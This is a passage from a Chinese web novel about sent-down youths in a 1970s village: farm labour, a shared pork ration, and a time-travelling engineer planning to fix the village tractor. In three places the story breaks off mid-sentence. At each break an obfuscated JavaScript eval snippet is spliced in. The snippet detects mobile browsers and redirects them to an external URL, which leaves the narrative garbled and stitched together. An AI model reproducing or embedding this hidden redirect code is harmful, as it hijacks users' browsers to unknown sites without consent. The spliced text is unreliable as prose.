许修竹把草药放在石块上,让它慢慢熏着,从自己的东西里找出了一根针。 他举着针对梁月泽说:“水泡,要不要挑?” 没做过农活的人,第一次做太重的农活,手心会摩擦生泡,梁月泽的手心确实长了几颗水泡,一碰就生疼,晚上吃粥时都小心避开了手心。 这下轮到梁月泽愣住了。 最后,梁月泽看着许修竹小心地替他挑开水泡,又从田埂里找了一种植物的叶子,用石头砸成泥敷到手心。 清凉的草汁带走了手心的灼热和疼痛,也带走了梁月泽刚才说的话,有关工分的事情,两人都没再聊起过。 事后梁月泽回想,大概是许修竹低头替他挑水泡时,那一刻太认真了。 剪掉头发露出了他精致的脸庞,在月光下竟有一丝脆弱。 梁月泽承认,在那一刻他心软了。 8. 维修 第二天被许修竹叫醒时,梁月泽有种不真实的感觉,原因无他,实在是昨晚睡得太舒服了。 许修竹熏的药草起了作用,加上枕边也放了半晒干的药草,梁月泽一晚上都没被蚊子叮咬。 昨天干了一天农活,高强度的体力劳动更容易让人入睡,他一觉睡到了天快亮。 昨晚跟许修竹交代过,让他早上起来就叫醒他,梁月泽可不想再在大家的注视下起床洗漱。 天将亮未亮的时候,最适合去刷牙洗漱,这时候就算有村民出没,也不大看得清,梁月泽可以把自己隐在墨色里。 早上,许修竹在煮饭,梁月泽从溪边捡了块石头,在一旁用石头磨锄头。 公社分给他们的锄头,都是之前淘汰下来,许久没用的,都有些生锈了。 梁月泽不仅给自己的锄头磨,还顺便帮许修竹也磨了,他那么想要工分,把工具磨锋利了,干活才能事倍功半。 许修竹不愧是出身中医之家,给他敷的草汁很有用,第二天起来手心已经不怎么疼了。 又是驱蚊又是治伤的,这些都是额外的服务,有附加价值的。 这两样和做饭加起来,值3个工分了,他不吃亏。梁月泽在心里算了一笔账。 李国柱和齐国伟果然没有出现,今天下田劳作的新知青只有五个人。 昨天下午大家一起齐力救治了李国栋,大家都熟悉了不少,尤其是许修竹出了主力,她们对他有了一些改观。 果然不能以阶级看人,一个人的秉性好不好,不是看阶级就能看得出来的,到底是要看他的为人行事。 此时看到许修竹剪短了头发的模样,覃晓燕她们都露出了惊艳的表情。 于芳大胆打趣道:“没想到你剪短头发还挺好看的。” 许修竹点头,没有表情地“嗯”了一声就拿着锄头去干活了。 江丽小声道:“以前长那么长头发,把脸都遮住了,还以为会是什么阴险小人,现在瞧着倒挺正常的。” 覃晓燕点头赞同:“而且人也善良,除了不怎么搭理人,要不是他出身有问题,估计挺多人想跟他处对象的。” 于芳抬眼瞧了覃晓燕一眼,挑眉道:“你不是喜欢梁月泽吗?怎么?现在想移情别恋了?” 于芳就是刚下火车时,怼覃晓燕娇气的女知青,不过这两天相处下来,她知道覃晓燕并不娇气,反而还很能吃苦。 昨天覃晓燕干了一天农活,虽然经常喊累,但从来没有停止过干活,大家休息她跟着休息,别人干活她也跟着干活。 覃晓燕和于芳江丽的关系也近了很多,于芳此时不过是在调侃她。 覃晓燕一点儿也不害羞:“是喜欢啊,长得好看的人谁不喜欢啊?反正不结婚,还不能同时喜欢了?” 江丽笑着应和道:“能能能,当然能啦!” 三人说笑着走到各自要干活的田地里,许修竹和梁月泽已经开始了。 和昨天相比,大家的熟练度都上升了,而且还学会了用什么姿势干活不累腰,锄头也磨锋利了,干活的效率也有所提高了。 覃晓燕她们住在知青所,回去给老知青们多说几句好话,他们就乐呵呵地给三人磨了锄头。 出了李国栋中暑的事情后,记分员刘婶子也害怕再出现问题,连夜找其他村民借了几顶草帽分给大家。 还别说,这草帽看着一般,还挺遮阳的,至少梁月泽感觉脸上没那么晒了。 接下来的几天,每天都是这样,日出而作日落而息,梁月泽觉得,他的睡眠质量都变好了许多。 齐国伟和李国栋也陆续回来干活,七个新来的知青,就在这块旱田上劳作了好几天,直到把这一片旱田都翻完。 期间除了刘婶子,没有一个扶柳村的村民到这边来,老知青们也在其他地方劳作。 他们仿佛被刻意隔绝了,和村里人隔绝开。 对此梁月泽和许修竹猜测,这大概是村长给他们的下马威,同时也是观察他们秉性的一个机会。 翻完那片旱田的当晚,村长就让人挖通了沟渠,把溪水引到了田里。 溪水缓慢地滋润着这片土地,田里蓄起了脚踝深的水,在月光下显得波光粼粼。 干活的效率提高后,许修竹赚的工分也比之前多了,正常时候一天能挣7个工分,加上梁月泽分给他的3分,竟拿了好几天的10个工分。 而梁月泽则是全村工分最少的人,不光是在知青中,连村里的老弱妇孺都比不上。 刘婶子虽然不解,梁月泽为什么要给其他的知青分工分,但她没干涉太多,她只负责记工分,地里的活干了多少她就记多少。 反正双方都同意,村里也不是没有替别人干活,给别人赚工分的事儿。 不过这种情况一般是年轻小伙子在追求人家姑娘,忙完了自己的活儿,才去帮姑娘干活。 可她瞧着,那人也是个勤勤恳恳的小伙子啊。 刘婶子看不懂,但刘婶子从不多管闲事。 一连锄了五天地,梁月泽手心的泡挑了又长,之后再挑,直到结痂脱落,手心覆上一层薄薄的茧子。 许修竹也是如此,有了茧子的保护,他们再干农活时,也没那么容易会伤手了。 又是一天夜里,梁月泽洗完澡躺在稻草上,习惯了高强度的劳作后,他不像前几天那样,躺下就直接睡了过去。 许修竹在外面熏药草,最近中午他们都会上山一趟,梁月泽去捡柴,许修竹则是采药草。 现在他们白天喝的水,已经不是普通的凉开水了,许修竹不知道放了什么药草进去煮,味道怪怪的,说是可以解毒消暑。 总之梁月泽喝了,从来没出现过中暑的迹象。 梁月泽侧头看了一眼许修竹,他实在有些好奇,对方为什么这么在意工分? “许修竹,你以后有什么打算?”梁月泽突然开口。 许修竹扭头,一脸疑问:“嗯?” 梁月泽坐起身来,认真地说:“你有什么打算?难道打算一辈子在村里当知青种田?” 他知道,他和许修竹这几天的相处还算融洽,但关系也没有好到可以谈论未来的程度。 只是他这几天劳作的时候一直在想,要怎么脱离知青的身份,去发挥自己的才能。 不是种田不好,只是梁月泽觉得,每个人都应该在合适自己的位置上挥洒汗水,才能创造出最大的价值。 他在现代学的是机械制造,就算本科课本比前线研究落后了十几年,梁月泽在现代学到的知识,也比这个年代的研究先进。 如今国家积贫积弱,种田大多数时候只能靠人力来翻种,生产出来种田的机械少之又少。 如何离开扶柳村,去接触机械研究,对现阶段的梁月泽来说,的确是个难题。 但他也没有很急切,因为按照历史的进程,再过两年多,国家会重新恢复高考。到时候他可以参加高考,重新回到学校,参与研究。 当然,如果有机会能够改变如今的生活,他还是会积极去争取的。 这几天和许修竹住在一起,不难看出他身上的本领,一个学中医的人才,只能在乡间种田,有点可惜了。 许修竹顿了一下,把头转了回去,声音没有起伏道:“没有打算。” 没得到答案,梁月泽也没失望,他本就是随口一问。 反正他以后是一定要离开的,到时候就不能给许修竹挣工分了,让他找别人要去吧。 翻完地后,就要碾土,把土块用锄头敲碎,然后用脚踩均匀,整片水田弄成泥浆状,就可以插秧苗下去了。 村里有专门的育苗地,都是村里种田的老手负责的,听刘婶子说,再过七八天,秧田里的秧苗就可以移栽了。 村里给新知青分的这块地并不算大,也是村长和书记估量过的,新知青们要在秧苗成熟之前把田地给整好,辛苦点也是可以勉强整好的。 来到这里之后,梁月泽才知道,原来一粒米从种子到成熟,要经过这么多工序。 整地、育秧、除草、灌水、收割,全套下来,农民从开春忙到了冬天,基本没几天的空闲时间。 种田是真不容易啊。梁月泽再次感慨。 他绝不要一直种田。 中途休息时,覃晓燕问刘婶子:“最近怎么没看见村长和书记啊?他们这么忙吗?” 李国栋中暑的第二天,村长去镇上卫生所把他和齐国伟接回来,之后大家就再也没见过村长了,连书记的面也没见过。 李国栋自从中暑晕倒后,自觉在女同志面前没面子,都不怎么纠缠覃晓燕了,覃晓燕乐得轻松,李国栋和齐国伟这两个人,她都没看上。 可惜齐国伟不懂眼色,见李国栋退出后,觉得自己机会更大了,就经常往覃晓燕跟前凑,覃晓燕烦不胜烦。 此时听到覃晓燕的声音,连忙附和:“是啊,婶子,确实好久没见着村长和书记了,他们都干嘛去了?” 她们这批知青被晾了太久,覃晓燕心里都有些犯嘀咕。 虽然听知青所的女同志说过,这是村里的习惯,她们来的时候也是被单独分到一块地去劳作,但太久没见着村长书记,每天只有刘婶子过来记分,不仅是她,连于芳江丽都有些不安。 刘婶子手里拿着一把大蒲扇,在给自己扇风,覃晓燕坐在她旁边,也沾了一点风,脸上的焦躁舒缓了一些。 说起这个,刘婶子一脸烦躁:“别提了,忙着下田干活呢。” “今年田里的活儿特别多,个个都得下田去干活,还好现在放暑假了,村里的娃娃们也能帮忙干点活儿。” 覃晓燕好奇:“怎么今年的活儿就特别多?是有什么特别的缘故吗?” 刘婶子猛扇了几下蒲扇,才开始说道:“想必你们也知道,前些日子村里用坏了县里的拖拉机。” “这个我们知道的。”说着覃晓燕还觑了梁月泽和许修竹一眼。 就是因为村里把拖拉机给用坏了,县里的维修员都修不好,才会被逼着多接收两个人。 梁月泽和许修竹一脸淡定,好像他们没一点儿兴趣似的,在这坐着只是为了纳凉休息。 梁月泽喝了一口水,感觉到视线,往覃晓燕的方向看了一眼,正好看到她收回视线的动作。 刘婶子继续说:“往年我们村可以借用拖拉机两天,两天能耕好村里四分之一的田了,不知省了多少事儿。” “结果前些天刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于芳江丽点头:“我们也希望。” 齐国伟安慰道:“晓燕,你别担心,维修员一定会修好的。” 覃晓燕白了他一眼,扭头不想搭理他,最近她看着齐国伟就烦。还好跟于芳江丽她们关系还不错,出门都一起,不用跟他单独见面。 嘴上说得好听,一直献殷勤,实际什么也不做,不说帮她干农活,就连替她提一桶水都只是嘴上说说,然后找理由逃了,长得也不好看,她瞎了才会看上齐国伟。 梁月泽眨了下眼睛,嘴上跟着安慰了刘婶子一句,就放下水壶,出去干活了。 刘婶子跟人倾诉了一通,加上有覃晓燕她们的劝慰,心情好了不少,拿着她的记分本子走了。 许修竹看着梁月泽的背影,他怎么感觉这人好像跟刚才不太一样了。 不过他也没多想,拿上锄头跟着出去干活了。 好不容易熬到了收工,梁月泽没有跟着许修竹回去,而是拜托他帮忙把锄头帽子带回去,他有事情要忙。 许修竹不知道他要做什么,但他一向不多嘴,拿上东西就走了。 村长干完农活回到公社,连裤脚都没放下来,就直奔会议室。 会议室里原本摆着几张桌子和十几张椅子,扶柳村分为12个生产小队,知青们自成一队,每次村里有事情,都是让小队的队长过来会议室开会。 此时会议室里的桌子椅子都被搬空了,里面正摆着拖拉机的各种零件。 县里的维修员修不好,村长他们也不敢把拖拉机放在外面暴晒,万一暴晒出什么问题来,他们也负不了责任,于是就让村民们把拖拉机抬进会议室里放着。 看着会议室里满地的零件,村长心里有种不祥的预感。 他有点担心:“丁维修员,你把这拖拉机都拆了,能装回去吗?” 村长说的丁维修员,正蹲在地上研究拖拉机的某个零件,听到村长的话,他抬起了头。 丁维修员是个三十多岁的中年男人,像是不满意村长对他的质疑,一脸受辱的表情:“你在开什么玩笑,我可是南城第一农机厂的技术员,怎么可能装不回去!” 村长虽然是个严肃认真的人,却也不是不懂变通,村里还指着这丁维修员修拖拉机呢,现在是万万不能得罪了他。 他当即挤出一抹笑:“自然不是,南城第一农机厂的技术员,我还是信得过的,我们村里人见识少,没见识过。” 丁维修员脸色仍然不好看:“没见识过就可以随便质疑人了?我的技术是比不过我师傅,但也是南城数一数二的优秀技术员!” 村长一时僵住了,他也不知该说些什么,他就是问了一句,这丁维修员怎么就这么生气了。 还好这时书记也来了,赶紧打圆场:“丁维修员你别跟他这个大老粗一般见识,他是个退伍军人,不知变通不会说话。” 丁维修员脸色有所缓和,书记赶紧趁热打铁:“您看这天也晚了,煤油灯太暗了,要不我们先去吃饭,明天再继续?” 丁维修员想想也是,便把手里的零件放下,出门去吃饭。 9. 吃肉 接下来两天过得很平静,大家还是在那块田上用脚和锄头碾田,碾过一次还不够,至少要碾两回,才勉强合适插秧。 他们劳作了这么多天,已经不用刘婶子来喊他们休息了,大家都估摸着时间,觉得累了就到一边去休息一会儿。 梁月泽拿下挂在树枝上的毛巾,给自己擦了一把汗,烈日底下干活,实在是不好受。 前几天上山的时候,许修竹在山上找了一些厚大的叶子,可以用来当扇子,休息的时候扇风凉快一些。 他也给其他几个知青都带了,如今每人手拿一张厚叶子在扇风。 齐国伟突然站了起来,走到几人的中间,一边扇着风一边兴奋道:“昨晚我听知青所的孙铭说,晚上咱们村里有大好事儿发生,你们猜猜是什么?” 李国栋疑惑:“我跟你一个屋,我怎么不知道?” 齐国伟得意地看了他一眼,说道:“昨晚我尿急,出去尿尿,正好撞上孙铭和杨远山在外面说话,就听到了。” 覃晓燕虽然好奇,但她没搭话,免得让齐国伟误会,便拎起水壶喝了几口水。 于芳就没有这个顾虑了,她直接开口问:“到底是什么好事儿?别磨磨唧唧的。” 齐国伟笑了一下,说道:“村里打算今天下午杀猪,晚上收工后在公社门口分猪肉。” 他这话一出,所有人都看向了他,连许修竹和梁月泽也不例外。 他们来到这村子十多天了,没见过一点儿荤腥,许修竹和梁月泽更是连油都没有,每天不是吃红薯粥,就是红薯饭,顶多再加点许修竹找的野菜,梁月泽感觉自己的脸都快吃绿了。 梁月泽觉得自己不是个挑食的人,口腹之欲并不重,从小到大吃惯了食堂,不管味道好还是不好,他都能接受。 来到这个年代后,和二婶堂弟他们一起住,偶尔能吃上一两顿用猪油和猪油渣炒的菜,梁月泽没什么可挑剔的。 但是在扶柳村的这十几天,梁月泽觉得,他其实还是有口腹之欲的。 受到众人的注目,齐国伟一脸得意洋洋,摇着叶子的手畅快得很。 覃晓燕没忍住开口:“真的?你没诓我们吧?” 喜欢的人对他发出质疑,这齐国伟哪能忍,急道:“杨远山长得壮实,村长喊他去按猪,这才让我给碰上了。不信你们就等着,下午肯定能收到消息!” 没有提前告知村里人,是不想让分猪肉的事儿搅得大家无心劳作,免得耽误活儿。 齐国伟确实没必要说谎,是真是假下午就知道了,这么一来,就肯定是真的。 覃晓燕她们都露出了笑容,眼里满是对吃肉的渴望,也不怪她们馋,实在是肉太稀缺了,她们就算城里的职工子女,也很难吃到肉。 “能吃到肉了!啊啊啊!”覃晓燕激动喊道。 所有人都跟打了鸡血一样,一扫干农活的疲惫和麻木,兴奋地手舞足蹈。 不过却被许修竹的一句话给打断了。 “你们确定,这次分肉有我们的份?” 众人的快乐戛然而止,目光齐齐转向许修竹,梁月泽眉心微蹙:“怎么会没有我们的份呢?” 大家又看向齐国伟,齐国伟急了:“我亲耳听孙铭说的,说是最近农忙,怕大家身体受不住,公社决定杀头猪给大家补补,村里所有人都可以分到肉,包括知青们。” “我们知青的户籍是在村里的,肯定能分到肉的,不然也不会喊杨远山去帮忙按猪了。” 大家想想也是,知青也是村里人,刻意不给知青分肉,只不是制造矛盾吗,公社肯定不会这么干的。 “你们是不是忘了,我们的口粮,今年是由县里发的,现在吃的还是借村里的。”许修竹提醒。 所有人身体都僵住了,难道这只是空欢喜一场吗? 像是被扎破的气球,众人都泄气了,瞬间从打了鸡血的状态,变得有气无力。 许修竹说的很在理,他们是新来的知青,这十几天一直在这块地劳作,跟村里人不熟,口粮也不是从村里出的,村里没必要给他们分肉。 少七个人分肉,村里人就能多分一点,哪怕是一片肉,他们也舍不得。 覃晓燕和江丽于芳幽怨的视线在齐国伟和许修竹之间来回,一个给了她们希望,一个让她们绝望。 还不如不知道呢。 梁月泽没说什么,拿起旁边的水壶,给自己猛灌了几口水,就拿上草帽去干活了,化悲愤为动力。 这一整天,大家都在沉默地干活,休息的时候,都没怎么有人说话,齐国伟想逗覃晓燕开心,但不管说什么都得不到回应。 覃晓燕承认,她是有些迁怒,同时也是看着齐国伟就烦。 中午休息过后,公社门前的空地上,已经围了七八个青壮年,都是准备杀猪的。 公社一共养了十头猪,按规定,要上交一半给国家,公社可以自行处置剩下的五头猪。 今天公社准备杀两头猪,剩下的等年底再杀。村里也没什么好东西喂猪,猪大多数时候是吃猪草,长得并不算大,也就一百五六十斤左右。 青壮们把猪赶到了公社门前,然后大家合力把猪按住,村长拿着一把杀猪刀,干脆利落地给猪割了喉放血,接着又割另一头猪。 放完血之后,大家才放开已经死翘翘的猪,把提前烧好的开水,淋在猪身上,然后拿菜刀开始刮猪毛。 村长杀完猪后就让到一边,蹲在门框边看着大家干活,眉心皱成了一个川字,没有一丝杀猪的兴奋。 他心烦地从裤兜里掏出一包烟丝,里面还有几张裁好的白纸,他拿出一张白纸和一小撮烟丝,用白纸卷起烟丝,然后擦燃火柴点着烟卷。 白色的烟雾从村长鼻孔里冒出来,书记拿了个小凳子在他旁边坐下,说道:“给我也抽点。” 村长直接把那包烟丝和火柴盒都递过去,书记重复跟他刚才一样的操作,两人抽着烟,眼睛看着大家在给猪刮毛,心思却不知道飘到了哪里去。 半晌,书记开口:“怎么办?” 村长叹气:“能怎么办?只能给县里汇报了,让县里向省城申请,再调一个维修员下来。” 书记吐出一口烟:“估计难,去年农场那辆拖拉机,申请都申请多久了,至今还没有更高级别的维修员下来维修。” 丁维修员在扶柳村一共待了三天,把村里的拖拉机拆了又装,全都检查过了,但拖拉机就是启动不了。 现在那辆拖拉机还放在会议室里。 今早丁维修员一起来,就跟村长和书记说,他修不了,让县里向省城申请高级技术员来维修。 丁维修员是中级技术员,在省城里技术还算可以,否则他面对村长的质疑时,不会那么生气,也不会敢把拖拉机拆开。 但中级就是中级,和高级技术员之间的差距不是一星半点儿的,有些问题他解决不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大家都愣住了,还是于芳先开口:“刘婶,今天这么早收工啊?” 刘婶子乐呵呵地说:“是啊,今天村里杀猪,早点收工好去排队分猪肉,你们也快点吧,晚了可分不到好肉。” 覃晓燕惊叫出声:“我们也有份?” 刘婶子笑着说:“当然有啦,你们是村里的知青,户籍都转到村里来了,当然有你们的份!” 覃晓燕没想到,她们还能分到肉,还以为新知青都没份呢,还真是峰回路转啊。 结果还没等她开心,齐国伟就问:“可我们今年的口粮不是从村里分的,这样还能分到肉吗?” 覃晓燕扭头瞪了齐国伟一眼,果然她讨厌他不是没有道理的,非要问得那么清楚干嘛? 万一是村里没想起这茬,打算给大家分肉,结果被这蠢货提醒,又觉得不应该分,那她一定会气死的。 还好刘婶子接下来的话让她放下心来,刘婶子说:“能,村里讨论过了,能分。” 这下大家都欢呼起来,几乎是飞奔着跑向刘婶子。 梁月泽笑了出来,他余光扫到旁边的许修竹,发现他虽然还是没有表情,但眼睛却比平时更亮几分。 看来某人也不像他表现出来的那样淡定。 到底还是想吃肉的。 也是,在这个年代,有谁不想吃肉呢。 10. 机会 “王姐,你家今天有口福了吧,一大家子十一口人,能分两斤2两了吧?” “唉~分的是不少,可我们家人也多啊,才两斤多肉,有一斤多是要炸猪油的,剩下的每人分两片肉都够呛!” “也是,你家小伙子多,正是半大小子吃穷老子的年纪。” “……” 今天扶柳村里分猪肉,是按人头来分的,每人能分二两肉。一头猪瘦肉和肥肉的占比大概在一半一半左右。 现在的人吃肉,都喜欢要肥肉,肥肉能熬油,炸出来的油渣还可以当零食吃,也可以炒菜。 但肥肉哪能可着一户人家分,所以分到每个人手上的,都是一两肥肉一两瘦肉。 新知青们排在村民的后面,覃晓燕远远看着那白花花又暗红的猪肉,嘴里的口水都快留下来了,她脑海里闪过无数种猪肉的做法。 于芳问:“这猪肉你们打算怎么做啊?” 刚才来排队的时候,她们和知青所的老大哥孙铭碰过面了,按照以往的惯例,知青们会把分到的肥肉集中在一起熬油,熬出来的油一起做饭的时候用,油渣到时候平分。 至于剩下的瘦肉,则是可以自由烹煮,今晚知青所的知青可以自己煮自己的肉。 看前面空了一个位置,覃晓燕往前挪了一步,叹气道:“其实我想吃饺子,可是这里没有面粉。” 白溪县地处南方,这里习惯了种稻谷,当地人也是吃米饭居多,很少有面粉。 “——不过只要有肉吃,怎么做都好吃,就算是水煮都好吃!”覃晓燕很快又露出了笑容。 于芳白了她一眼:“这么珍贵的肉,水煮那是糟蹋了肉,要我说,应该把肉剁碎了,放锅里炖煮,把肉味给炖出来了,再放一些菜干下去,菜干吸满了肉味,肯定很好吃。” 江丽说:“要是有辣椒就好了,把肉切片了,然后跟辣椒一起炒,那味道简直绝了。” 覃晓燕:“要我说还是……” 女知青们在讨论着分到的肉要怎么吃,排在她们后面的梁月泽也不免看向许修竹。 梁月泽凑近许修竹一点,低声问道:“这肉你打算怎么做?” 许修竹没有回答他,反问道:“你想吃什么?”大有梁月泽要吃什么,他就给做什么的架势。 然而当梁月泽说出来时,他又一口拒绝了。 “红烧排骨不行,不能要排骨,我们需要肥肉来熬猪油。” 梁月泽一想也是,他们肚子里都十几天没进过油水了,确实需要熬点油,最后只能遗憾放弃了排骨。 二两肉能换一斤排骨,足足五倍的差距,但还是很少有人换骨头,还是吃到嘴里的肉最实际。 当然,也有家里人多的,会愿意拿出一两个人的名额来换点排骨,好歹熬汤也有点肉味,够一大家子人喝。 两人正说话间,旁边响起了一道声音,内容瞬间引起了梁月泽的注意。 “月香,村长怎么了?怎么一副愁眉苦脸的样儿?” 几个村里的女孩子,可能是想趁着分肉的时机,来和新来的俊俏知青说几句话,结果还没凑近,就被一个婶子拦下了。 那婶子手里正提着肉,猪肉到手了,也就有兴致打听村长的事儿了。 林月香本来是兴奋又害羞的,此时听到齐大婶的话,瞬间就鼓起了脸:“谁知道他啊,不都天天那样吗,黑着张脸也不知道在生谁的气。” 今天中午在家吃饭的时候,她不过是问了一句“丁维修员呢”,就被她爸给凶了一顿。 齐大婶“哟”了一声:“村长又凶你啦?你做什么惹你爸生气了?” 林月香一脸不愉快:“我哪有惹他生气,不过是问了一句丁维修员人呢,他就又瞪我了。” 丁维修员来扶柳村,村长怕招待不周,还特意让家里的儿子挤挤,给他腾了一间房出来,吃住都在村长家里。 连着几天都在一个饭桌上,人不见了她好奇一下还不行啊? 齐大婶安慰她说:“村长估计是心急了,丁维修员来了村里几天了,还没把拖拉机修好,村长着急上火也是难免的。” “我看挺悬的。”一个大叔经过插话。 齐大婶和林月香都看向了那大叔,齐大婶问:“你怎么知道?你这几天来过公社了?” 大叔摇头,叹道:“我早上好像看见村长骑着书记家的自行车出村去了,车后座还坐着一个人,看起来挺陌生的,我还以为是哪个新来的知青呢,现在想来,怕不是就是那丁维修员吧?” 林月香一想,还真的有可能,今天中午没见着丁维修员,而且她一提起,她爸就生气。 不会是丁维修员没把拖拉机修好,人就走了吧? 齐大婶八卦的脸上覆上了一层愁绪,一脸不敢相信:“不会吧?听说是省城来的维修员,怎么会修不好呢?” 林月香跟着点头:“是啊,人家可是从省城来的。” 大叔切了一声:“去年县里农场坏了一辆拖拉机,也是请了省城的维修员过来,现在修好了吗?” 附近听到几人说话的村民,即将吃到肉的兴奋都减少了,纷纷开始忧心忡忡起来,还有人直接跑去问村长了。 梁月泽听得很仔细,和周围人的忧心相比,他眼中多了几分兴奋。 前两天他到公社去看过了,当时并不能看出那个维修员有没有能力把拖拉机给修好,梁月泽只能暂时搁浅自己的计划。 结果才过两天,就听到了维修员已经离开了的消息,而村长脸色很不好看,这一切都在说明,那个维修员并没有把拖拉机修好。 他的机会要来了。 等排到梁月泽他们分肉时,村长也亲口承认了,维修员确实走了,拖拉机也确实没修好,他准备继续向省城申请,调派更高级的维修员过来。 周围村民一片哗然,高高兴兴的吃肉日子,也因此覆上了一层阴霾。 覃晓燕她们倒是没什么感觉,她们是今年新来的,还没见过拖拉机,也没体会过一辆拖拉机能给村里省多少力。 她们分了肉就高高兴兴地拿回了知青所,准备开始自己煮肉吃。 梁月泽和许修竹也领了肉回去,他看着许修竹把那二两肥肉切片放进瓦锅里,又加了一点水。 梁月泽好奇道:“这样就能熬出猪油了?” “是啊,等把水熬干了,油就出来了。” 许修竹调整了一下火势,熬猪油不宜太大火。 梁月泽似懂非懂地点了点头,然后就到一边去了,做饭的事情他不懂,索性就找了根树枝,一边在地上写写画画,一边等吃的。 他根据拖拉机的功能,在脑海里预想了很多方案,但没有真正接触到实物,还是很难推进方案。 不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266352|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了过久,一抹猪油特有的香气散发了出来,梁月泽也不免被吸引了注意力。 他停下了划树枝的动作,来到了许修竹旁边,瓦锅里的猪油熬成了清亮的水状,空气中尽是油脂的味道。 可能是因为太久没进油水了,梁月泽并不觉得腻味,反而还觉得很香,这是身体做出的本能反应。 熬得差不多了,许修竹把猪油倒出饭盒,然后拿筷子把猪油渣挑出来,等晾凉了再把猪油倒入竹杯里存放。 梁月泽没忍住问:“什么时候能吃晚饭?” “只有一个锅,今晚要煮饭,还要炒菜,没那么快。”许修竹给他夹了一块猪油渣,像是打发嘴馋的小孩子似的。 梁月泽又不是小孩子,怎么可能会贪图一块猪油渣! 最后,梁月泽嚼着猪油渣,拿着树枝又走到了一旁,省得碍事儿。 许修竹手艺很不错,哪怕只有一只简陋的瓦锅,也能炒出美味的菜肴。 瓦锅里没倒干净的猪油,正好用来炒菜,瘦肉炒竹笋,竹笋沾上了猪肉的香气,变得格外好吃。 时隔将近二十天,梁月泽终于再次吃上了炒菜,吃饭的速度都快了不少。要不是锅里没饭了,他还想再添一碗饭呢。 肉实在是太好吃了。 可能是今天收工比较早,也可能是吃到肉了,夜晚洗完澡之后,许修竹没有马上入睡。 梁月泽也同样没有睡,头顶是被稻草盖住的棚顶,但他知道,月亮高悬在天上。 许修竹突然开口:“你今天在公社,在笑什么?”他记得当时周围人都有些愁容,梁月泽为什么会笑? 是在高兴拖拉机没有修好了吗? 梁月泽侧了个身,看着许修竹的侧脸否认道:“我没笑啊。” 许修竹:“你眼睛笑了。” 梁月泽见敷衍不过去,便直接承认了,因为他想到之后的计划,还需要许修竹的帮忙。 “我学过机械制造,懂一些维修,有可能会派上用场。” 许修竹倒是没有怀疑真假,这些日子相处下来,足以让他了解,梁月泽不是个说大话的人,既然他说会维修,肯定是懂一些的。 “你想去修那辆拖拉机?”许修竹问。 梁月泽平躺了回去,语气平淡道:“是。” 许修竹皱了一下眉:“这并不容易。” 以村里人对这辆拖拉机的重视,连放在外面暴晒都舍不得,怎么可能会让一个不知根底的知青上手维修。 别说维修了,普通村民连公社的会议室都不许进,就怕少了点零件。 在这样的条件下,突然有个知青跳出来,说他会维修,能把拖拉机维修好,村长和书记是傻了才会让人去修。 梁月泽说:“是,我知道。” 他就是因为知道,才没有贸然冲到村长和书记跟前,叫嚣着自己会维修,太掉价了,也难以取信于人。 许修竹问:“你有计划了?” 梁月泽:“有,我在等下一个机会。”第一个机会已经出现了——省城来的维修员没把拖拉机修好。 一个能光明正大进入公社的机会。 许修竹没有再问,他拿了梁月泽这么多工分,只管配合就是了。 梁月泽伸手感受着空气中吹来的风,好像比昨天凉快了一些。 快了,他想要的机会,要来了。 11. 暴雨 吃肉的感觉太让人回味了,第二天干活的时候,覃晓燕她们还一直在讨论昨天的晚餐。 “要是能天天吃上肉就好了。”覃晓燕砸吧了一下嘴,一脸的怀念。 于芳附和:“是啊,猪肉太好吃了,真想顿顿都吃肉。” 江丽吐槽:“这么好的事儿,只有梦里才有,晚上把枕头垫高点吧。” 覃晓燕瞪了她一眼:“想想还不行了?” 江丽笑了一下:“行行行,你俩就慢慢想吧。” 齐国伟也来插了一嘴:“晓燕啊,你喜欢吃肉,以后村里再分肉,我的都给你吃。” 覃晓燕瞬间冷下了脸:“不用了,我只吃自己分到的肉。” 于芳和江丽纷纷低下头翻了个白眼,这人真是没眼色,没看见人晓燕不愿意搭理他吗? 而且说到吃肉,昨晚也没见他送一片肉过来给晓燕吃,嘴上说得好听,实际上却是空口白话。 别说是覃晓燕这样好看的人了,就算是她们俩这样长得普通的女孩子,也不会看得上齐国伟这样的人。 李国栋显然也看不惯齐国伟的行为,扯着齐国伟的胳膊不耐烦道:“赶紧干活吧,昨晚吃了肉,今天不卖力点干活,村里人怕是要以为我们是什么懒惰好吃的人呢。” 齐国伟挣了挣:“你别拉我,我自己会干活。” 梁月泽和许修竹没参与几人的话题,此时正埋头干活中。 覃晓燕她们不再聊天,开始专心干活,正如李国栋所说,吃了公社分的肉,就得卖力干活。周围很快就安静了下来。 今天的太阳,不比往日毒辣,还时不时有乌云挡住,按理说应该会凉快一些,但覃晓燕却觉得,今天出的汗比昨天还多。 “今天怎么感觉这么热?”覃晓燕撩起两条辫子,用草帽扇了扇风,这才感觉到一丝凉意。 梁月泽喝了一口水,不经意地说:“可能是要下暴雨了吧。” 齐国伟最近追求覃晓燕不顺利,见不得任何一个男的和覃晓燕搭话,当即说道:“人晓燕问你了吗?你就在这搭话!” 覃晓燕怒从心头起,瞪了齐国伟一眼:“我也没问你,你在这吠什么?” 